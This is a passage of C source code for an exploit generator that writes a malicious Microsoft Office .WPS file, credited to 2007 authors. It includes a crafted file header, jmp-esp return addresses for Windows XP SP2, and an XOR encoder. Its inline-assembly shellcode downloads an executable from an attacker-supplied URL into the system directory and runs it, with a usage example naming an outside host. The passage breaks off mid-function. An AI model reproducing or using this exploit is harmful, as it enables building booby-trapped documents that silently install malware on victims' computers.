&quot;\x72\x00\x79\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;<br>
&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;<br>
&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;<br>
&quot;\x16\x00\x05\x00\xff\xff\xff\xff\xff\xff\xff\xff\x01\x00\x00\x00&quot;<br>
&quot;\xb2\x5a\xa4\x0e\x0a\x9e\xd1\x11\xa4\x07\x00\xc0\x4f\xb9\x32\xba&quot;<br>
&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd0\x10\xb9\x5f&quot;<br>
&quot;\x53\x8f\xc7\x01\x03\x00\x00\x00\xc0\x0a\x00\x00\x00\x00\x00\x00&quot;<br>
&quot;\x43\x00\x4f\x00\x4e\x00\x54\x00\x45\x00\x4e\x00\x54\x00\x53\x00&quot;<br>
&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;<br>
&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;<br>
&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;<br>
&quot;\x12\x00\x02\x01\x02\x00\x00\x00\x03\x00\x00\x00\xff\xff\xff\xff&quot;<br>
&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;<br>
&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;<br>
&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00&quot;<br>
&quot;\x01\x00\x43\x00\x6f\x00\x6d\x00\x70\x00\x4f\x00\x62\x00\x6a\x00&quot;<br>
&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;<br>
&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;<br>
&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;<br>
&quot;\x12\x00\x02\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;<br>
&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;<br>
&quot;\x00\x00\x00\x00\x28\x00\x00\x00\x56\x00\x00\x00\x00\x00\x00\x00&quot;<br>
&quot;\x53\x00\x50\x00\x45\x00\x4c\x00\x4c\x00\x49\x00\x4e\x00\x47\x00&quot;<br>
&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;<br>
&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;<br>
&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;<br>
&quot;\x12\x00\x02\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;<br>
&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;<br>
&quot;\x00\x00\x00\x00\x2a\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00&quot;<br>
&quot;\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00&quot;<br>
&quot;\x05\x00\x00\x00\x06\x00\x00\x00\x07\x00\x00\x00\x08\x00\x00\x00&quot;<br>
&quot;\x09\x00\x00\x00\x0a\x00\x00\x00\x0b\x00\x00\x00\x0c\x00\x00\x00&quot;<br>
&quot;\x0d\x00\x00\x00\x0e\x00\x00\x00\x0f\x00\x00\x00\x10\x00\x00\x00&quot;<br>
&quot;\x11\x00\x00\x00\x12\x00\x00\x00\x13\x00\x00\x00\x14\x00\x00\x00&quot;<br>
&quot;\x15\x00\x00\x00\x16\x00\x00\x00\x17\x00\x00\x00\x18\x00\x00\x00&quot;<br>
&quot;\x19\x00\x00\x00\x1a\x00\x00\x00\x1b\x00\x00\x00\x1c\x00\x00\x00&quot;<br>
&quot;\x1d\x00\x00\x00\x1e\x00\x00\x00\x1f\x00\x00\x00\x20\x00\x00\x00&quot;<br>
&quot;\x21\x00\x00\x00\x22\x00\x00\x00\x23\x00\x00\x00\x24\x00\x00\x00&quot;<br>
&quot;\x25\x00\x00\x00\x26\x00\x00\x00\x27\x00\x00\x00\xfe\xff\xff\xff&quot;<br>
&quot;\x29\x00\x00\x00\xfe\xff\xff\xff\xfe\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&quot;<br>
&quot;\x43\x48\x4e\x4b\x57\x4b\x53\x20\x04\x00\x08\x00\x0e\x00\x00\x03&quot;<br>
&quot;\x00\x02\x00\x00\x00\x0a\x00\x00\xf8\x01\x0e\x00\xff\xff\xff\xff&quot;<br>
&quot;\x18\x00\x54\x45\x58\x54\x00\x00\x2f\x00\x00\x00\x00\x00\x00\x00&quot;<br>
&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;;<br>
<br>
char szIntro[] =<br>
&quot;[+] Targets:\n&quot;<br>
&quot;\t(1) Windows XP SP2 ntdll.dll DE jmpesp\n&quot;<br>
&quot;\t(2) Windows XP SP2 ntdll.dll CN&amp;TW jmpesp\n&quot;<br>
&quot;Usage: wps.exe &lt;target&gt; &lt;file&gt; &lt;URL&gt;\n&quot;<br>
&quot;.Ex:wps.exe 2 test.wps http://www.0x520.cn/test.exe\n&quot;;<br>
<br>
struct {<br>
&nbsp;&nbsp;&nbsp;  const char *szTarget;<br>
&nbsp;&nbsp;&nbsp;  unsigned char uszRet[5];<br>
}targets[] = {<br>
&nbsp;&nbsp;&nbsp;  {&quot;Windows XP SP2 DE ntdll.dll jmpesp&quot;, &quot;\xED\x1E\x94\x7C&quot;},/* jmp esp */<br>
&nbsp;&nbsp;&nbsp;  {&quot;Windows XP SP2 CN&amp;TW ntdll.dll jmpesp&quot;,&quot;\xED\x1E\x96\x7C&quot;},<br>
};<br>
// Shellcode string<br>
unsigned char sc[1024] = {0};<br>
<br>
unsigned char url[256]={0};<br>
<br>
// ASM shellcode main function<br>
void&nbsp;&nbsp;  ShellCode();<br>
<br>
// Get function hash<br>
static DWORD __stdcall GetHash ( char *c )<br>
{<br>
  DWORD h = 0;<br>
  <br>
  while ( *c )<br>
  {<br>
&nbsp;&nbsp;&nbsp;  __asm ror h, HASH_KEY<br>
&nbsp;&nbsp;&nbsp;  <br>
&nbsp;&nbsp;&nbsp;  h += *c++;<br>
  }<br>
  return( h );<br>
}<br>
<br>
void Make_ShellCode()<br>
{<br>
  unsigned char  *pSc_addr;<br>
  unsigned int&nbsp;&nbsp;  Sc_len;<br>
  unsigned int&nbsp;&nbsp;  Enc_key=ENC_KEY;<br>
  unsigned long  dwHash[100];<br>
  unsigned int&nbsp;&nbsp;  dwHashSize;<br>
<br>
  int i,j,k,l;<br>
  <br>
  <br>
  // Get functions hash<br>
  //printf(&quot;[+] Get functions hash strings.\r\n&quot;);<br>
  for (i=0;;i++) <br>
  {<br>
&nbsp;&nbsp;&nbsp;  if (functions[i][0] == '\x0') break;<br>
&nbsp;&nbsp;&nbsp;  dwHash[i] = GetHash((char*)functions[i]);<br>
&nbsp;&nbsp;&nbsp;  //printf(&quot;\t%.8X\t%s\n&quot;, dwHash[i], functions[i]);<br>
  }<br>
  dwHashSize = i*4;<br>
<br>
<br>
  // Deal with shellcode<br>
  pSc_addr = (unsigned char *)ShellCode;<br>
  <br>
  for (k=0;k&lt;MAX_SC_LEN;++k ) <br>
  {<br>
&nbsp;&nbsp;&nbsp;  if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) <br>
&nbsp;&nbsp;&nbsp;  {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  break;<br>
&nbsp;&nbsp;&nbsp;  }<br>
  }<br>
  pSc_addr+=(k+SEARCH_LEN);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // Start of the ShellCode<br>
  <br>
  for (k=0;k&lt;MAX_SC_LEN;++k) <br>
  {<br>
&nbsp;&nbsp;&nbsp;  if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  break;<br>
&nbsp;&nbsp;&nbsp;  }<br>
  }<br>
  Sc_len=k;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // Length of the ShellCode<br>
  <br>
  memcpy(sc, pSc_addr, Sc_len);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // Copy shellcode to sc[]<br>
<br>
<br>
  // Add functions hash<br>
  memcpy(sc+Sc_len, (char *)dwHash, dwHashSize);<br>
  Sc_len += dwHashSize;<br>
<br>
  // Add url <br>
  memcpy(sc+Sc_len, url, strlen(url)+1);&nbsp;&nbsp;  <br>
  Sc_len += strlen(url)+1;<br>
<br>
  // Print the size of shellcode.<br>
  //printf(&quot;[+] %d + %d + %d = %d bytes shellcode\n&quot;, DECODE_LEN, Sc_len-DECODE_LEN-sizeof(url)+1, sizeof(url)-1, Sc_len);<br>
  // Print shellcode<br>
  //PrintSc(sc, Sc_len); <br>
  <br>
<br>
  // Deal with find the right XOR byte<br>
  for(i=0xff; i&gt;0; i--)<br>
  {<br>
&nbsp;&nbsp;&nbsp;  l = 0;<br>
&nbsp;&nbsp;&nbsp;  for(j=DECODE_LEN; j&lt;(int)Sc_len; j++)<br>
&nbsp;&nbsp;&nbsp;  {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  if ( <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ((sc[j] ^ i) == 0x26) || //%<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ((sc[j] ^ i) == 0x3d) || //=<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ((sc[j] ^ i) == 0x3f) || //?<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ((sc[j] ^ i) == 0x40) || //@<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ((sc[j] ^ i) == 0x00) ||<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ((sc[j] ^ i) == 0x0D) ||<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ((sc[j] ^ i) == 0x0A) <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // Define Bad Characters<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  l++;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // If found the right XOR byte，l equals 0<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  break;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  };<br>
&nbsp;&nbsp;&nbsp;  }<br>
  <br>
&nbsp;&nbsp;&nbsp;  if (l==0)<br>
&nbsp;&nbsp;&nbsp;  {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Enc_key = i;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //printf(&quot;[+] Find XOR Byte: 0x%02X\n&quot;, i);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  for(j=DECODE_LEN; j&lt;(int)Sc_len; j++)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  sc[j] ^= Enc_key;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  }<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  break;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // If found the right XOR byte, Break<br>
&nbsp;&nbsp;&nbsp;  }<br>
  }<br>
<br>
  // Deal with not found XOR byte<br>
  if (l!=0)<br>
  {<br>
&nbsp;&nbsp;&nbsp;  printf(&quot;[-] No xor byte found!\r\n&quot;);<br>
&nbsp;&nbsp;&nbsp;  exit(-1);<br>
  }<br>
<br>
  // Deal with DeCode string<br>
  *(unsigned char *)&amp;sc[SC_LEN_OFFSET] = Sc_len;<br>
  *(unsigned char *)&amp;sc[ENC_KEY_OFFSET] = Enc_key;<br>
<br>
  // Print decode<br>
  //printf(&quot;/* %d bytes decode */\r\n&quot;, DECODE_LEN);<br>
  //PrintSc(sc, DECODE_LEN);<br>
<br>
  // Print shellcode<br>
  //printf(&quot;/* %d bytes shellcode, xor with 0x%02x */\r\n&quot;, Sc_len-DECODE_LEN, Enc_key);<br>
  //PrintSc((char*)sc+DECODE_LEN, Sc_len-DECODE_LEN);<br>
}<br>
<br>
int main( int argc, char **argv ) {<br>
 WSADATA wsa;<br>
  FILE *f;<br>
 char szBuffer[1024*10];<br>
 WSAStartup(MAKEWORD(2,2),&amp;wsa);<br>
<br>
 printf(&quot;\n\t\tMicrosoft Office .WPS Stack Overflow\n&quot;<br>
&nbsp;&nbsp;&nbsp;   &quot;\t\t\tAdam Walker (c) 2007\n&quot;<br>
&quot;\t\t\tModified by Mika[EST]\n\n&quot;);<br>
 if ( argc &lt; 4 ) {<br>
&nbsp;&nbsp;&nbsp;    printf(&quot;%s\n&quot;, szIntro );<br>
&nbsp;&nbsp;&nbsp;    return 0;<br>
  }<br>
 memcpy(url,argv[3],strlen(argv[3]));<br>
&nbsp;&nbsp;  printf(&quot;[+] download url:%s\n&quot;, url);<br>
&nbsp;&nbsp;  printf(&quot;[+] Generating Shellcode...\n&quot;);<br>
&nbsp;&nbsp;  <br>
  Make_ShellCode();<br>
  memset(szBuffer, 0x90, 1024*10);<br>
  printf(&quot;[+] Creating WPS header...\n&quot;);<br>
  memcpy( szBuffer, uszWpsHeader, sizeof( uszWpsHeader ) - 1 );<br>
  printf(&quot;[+] Copying addr &amp;&amp; nops &amp;&amp; shellcode...\n&quot;);<br>
  memcpy( szBuffer + sizeof( uszWpsHeader ) - 1, targets[atoi(argv[1])-1].uszRet, 4 );<br>
  memcpy(szBuffer + sizeof( uszWpsHeader ) + 3,NOPS,16);<br>
  memcpy( szBuffer + sizeof( uszWpsHeader ) + 3+16, sc, sizeof( sc ) - 1 );<br>
  <br>
  f = fopen( argv[2], &quot;wb&quot; );<br>
  if ( f == NULL ) {<br>
&nbsp;&nbsp;&nbsp;    printf(&quot;[-] Cannot create file\n&quot;);<br>
&nbsp;&nbsp;&nbsp;    return 0;<br>
  }<br>
  <br>
  fwrite( szBuffer, 1, sizeof( szBuffer) , f );<br>
  fclose( f );<br>
&nbsp;&nbsp;&nbsp;  printf(&quot;[+] .WPS file succesfully created!\n&quot;);<br>
&nbsp;&nbsp;&nbsp;  printf(&quot;[+]Mika is telling you:don't play with fire!^_^\n&quot;);<br>
  return 0;<br>
}<br>
<br>
// ShellCode function<br>
void ShellCode()<br>
{<br>
  __asm<br>
  {<br>
&nbsp;&nbsp;&nbsp;  PROC_BEGIN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // C macro to begin proc<br>
//--------------------------------------------------------------------<br>
//<br>
// DeCode<br>
//<br>
//--------------------------------------------------------------------<br>
&nbsp;&nbsp;&nbsp;  jmp&nbsp;&nbsp;  short decode_end<br>
&nbsp;&nbsp;&nbsp;  <br>
decode_start:<br>
&nbsp;&nbsp;&nbsp;  pop&nbsp;&nbsp;  ebx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // Decode start addr (esp -&gt; ebx)<br>
&nbsp;&nbsp;&nbsp;  dec&nbsp;&nbsp;  ebx<br>
&nbsp;&nbsp;&nbsp;  xor&nbsp;&nbsp;  ecx,ecx<br>
&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;  cl,0xFF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // Decode len<br>
&nbsp;&nbsp;&nbsp;  <br>
  decode_loop:<br>
&nbsp;&nbsp;&nbsp;  xor&nbsp;&nbsp;  byte ptr [ebx+ecx],0x99&nbsp;&nbsp;  // Decode key<br>
&nbsp;&nbsp;&nbsp;  loop&nbsp;&nbsp;  decode_loop<br>
&nbsp;&nbsp;&nbsp;  jmp&nbsp;&nbsp;  short decode_ok<br>
<br>
decode_end:<br>
&nbsp;&nbsp;&nbsp;  call&nbsp;&nbsp;  decode_start<br>
&nbsp;&nbsp;&nbsp;  <br>
decode_ok:<br>
<br>
//--------------------------------------------------------------------<br>
//<br>
// ShellCode<br>
//<br>
//--------------------------------------------------------------------<br>
&nbsp;&nbsp;&nbsp;  jmp&nbsp;&nbsp;  sc_end<br>
&nbsp;&nbsp;&nbsp;  <br>
sc_start:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <br>
&nbsp;&nbsp;&nbsp;  pop&nbsp;&nbsp;  edi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // Hash string start addr (esp -&gt; edi)<br>
<br>
&nbsp;&nbsp;&nbsp;  // Get kernel32.dll base addr<br>
&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;  eax, fs:0x30&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // PEB<br>
&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;  eax, [eax+0x0c]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // PROCESS_MODULE_INFO<br>
&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;  esi, [eax+0x1c]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // InInitOrder.flink <br>
&nbsp;&nbsp;&nbsp;  lodsd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // eax = InInitOrder.blink<br>
&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;  ebp, [eax+8]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // ebp = kernel32.dll base address<br>
<br>
&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;  esi, edi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // Hash string start addr -&gt; esi<br>
  <br>
&nbsp;&nbsp;&nbsp;  // Get function addr of kernel32<br>
&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;  4<br>
&nbsp;&nbsp;&nbsp;  pop&nbsp;&nbsp;  ecx<br>
&nbsp;&nbsp;&nbsp;  <br>
  getkernel32:<br>
&nbsp;&nbsp;&nbsp;  call&nbsp;&nbsp;  GetProcAddress_fun<br>
&nbsp;&nbsp;&nbsp;  loop&nbsp;&nbsp;  getkernel32<br>
<br>
&nbsp;&nbsp;&nbsp;  // Get function addr of urlmon&nbsp;&nbsp;  <br>
&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;  0x00006e6f<br>
&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;  0x6d6c7275&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // urlmon<br>
&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;  esp<br>
&nbsp;&nbsp;&nbsp;  call&nbsp;&nbsp;  ADDR_LoadLibraryA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // LoadLibraryA(&quot;urlmon&quot;);<br>
&nbsp;&nbsp;&nbsp;  <br>
&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;  ebp, eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // ebp = urlmon.dll base address<br>
&nbsp;&nbsp;&nbsp;  <br>
/*<br>
&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;  1<br>
&nbsp;&nbsp;&nbsp;  pop&nbsp;&nbsp;  ecx<br>
<br>
  geturlmon:<br>
&nbsp;&nbsp;&nbsp;  call&nbsp;&nbsp;  GetProcAddress_fun<br>
&nbsp;&nbsp;&nbsp;  loop&nbsp;&nbsp;  geturlmon<br>
*/<br>
&nbsp;&nbsp;&nbsp;  call&nbsp;&nbsp;  GetProcAddress_fun<br>
<br>
&nbsp;&nbsp;&nbsp;  // url start addr = edi<br>
&nbsp;&nbsp;&nbsp;  <br>
//LGetSystemDirectoryA: <br>
&nbsp;&nbsp;&nbsp;  sub&nbsp;&nbsp;  esp, 0x300<br>
&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;  ebx, esp<br>
&nbsp;&nbsp;&nbsp;  <br>
&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;  ebx<br>
&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;  0x300<br>
&nbsp;&nbsp;&nbsp;  call&nbsp;&nbsp;  ADDR_GetSystemDirectoryA&nbsp;&nbsp;  // GetSystemDirectoryA<br>
&nbsp;&nbsp;&nbsp;  <br>
//LURLDownloadToFileA:&nbsp;&nbsp;  <br>
&nbsp;&nbsp;&nbsp;  // eax = system path size<br>
&nbsp;&nbsp;&nbsp;  // URLDownloadToFileA url save to a.exe<br>
&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;  dword ptr [ebx+eax], 0x7261725C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // &quot;\a.e&quot;<br>
&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;  dword ptr [ebx+eax+0x4], 0x6578652E&nbsp;&nbsp;&nbsp;&nbsp;  // &quot;xe&quot;<br>
&nbsp;&nbsp;&nbsp;  xor&nbsp;&nbsp;  eax, eax<br>
&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;  eax<br>
&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;  eax<br>
&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;  ebx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // %systemdir%\a.exe<br>
&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;  edi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // url<br>
&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;  eax<br>
&nbsp;&nbsp;&nbsp;  call&nbsp;&nbsp;  ADDR_URLDownloadToFileA&nbsp;&nbsp;  // URLDownloadToFileA<br>
&nbsp;&nbsp;&nbsp;  <br>
//LWinExec:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;  ebx, esp<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;  eax<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;  ebx<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  call&nbsp;&nbsp;  ADDR_WinExec&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // WinExec(%systemdir%\a.exe);<br>
<br>
Finished:<br>
&nbsp;&nbsp;&nbsp;  //push&nbsp;&nbsp;  1<br>
&nbsp;&nbsp;&nbsp;  call&nbsp;&nbsp;  ADDR_ExitProcess&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // ExitProcess();<br>
<br>
GetProcAddress_fun:&nbsp;&nbsp;  <br>
&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;  ecx<br>
&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;  esi<br>
  <br>
